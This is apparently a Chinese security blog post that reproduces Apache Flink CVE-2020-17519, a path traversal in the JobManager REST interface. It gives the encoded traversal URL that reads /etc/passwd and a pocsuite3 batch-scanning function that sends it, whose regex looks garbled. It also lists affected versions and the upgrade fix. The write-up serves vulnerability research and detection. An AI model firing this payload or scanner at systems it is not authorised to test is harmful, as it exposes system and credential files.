漏洞简介
Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。
Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
漏洞影响
1.11.0
1.11.1
1.11.2
漏洞复现
poc:
# *unix
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
success:
批量检测
(工具化-pocsuite3)
def _verify(self):
result = {}
if self.url.endswith("/"):
url = self.url[:-1]
else:
url = self.url
vul_paths = [
'/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd'
]
for vul_path in vul_paths:
vul_url = url + vul_path
try:
resp = requests.get(vul_url, allow_redirects=False, verify=False)
re_pattern = (
r"((root|bin|daemon|sys|sync|games|man|mail|news|www-data|uucp|backup|list|proxy|gnats|nobody"
r"|syslog "
r"|mysql|bind|ftp|sshd|postfix):[dw-s,]+:d+:d+:[w-_s,]*:[w-_s,/]*:[w-_,"
r"/]*[rn])")
if resp and resp.status_code == 200:
searchObj = re.search(re_pattern, resp.text)
if searchObj:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vul_url
break
except Exception as ex:
pass
return self.parse_output(result)
结果如图:
漏洞修复
将Flink升级到1.11.3或1.12.0
## 凑字数
路径是指web根目录文件夹之外的文件和目录。
路径遍历漏洞(也称为目录遍历)是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线(..)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。
需要注意的是,系统操作访问控制(如在微软windows操作系统上锁定或使用文件)限制了对文件的访问权限。
这种攻击也称为 “点-点斜线”、“目录遍历”、“目录爬升”和“回溯”。
参考:
https://www.freebuf.com/vuls/247620.html
https://github.com/vulhub/vulhub/
本文始发于微信公众号(don9sec):漏洞复现 Apache Flink CVE-2020-17519
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论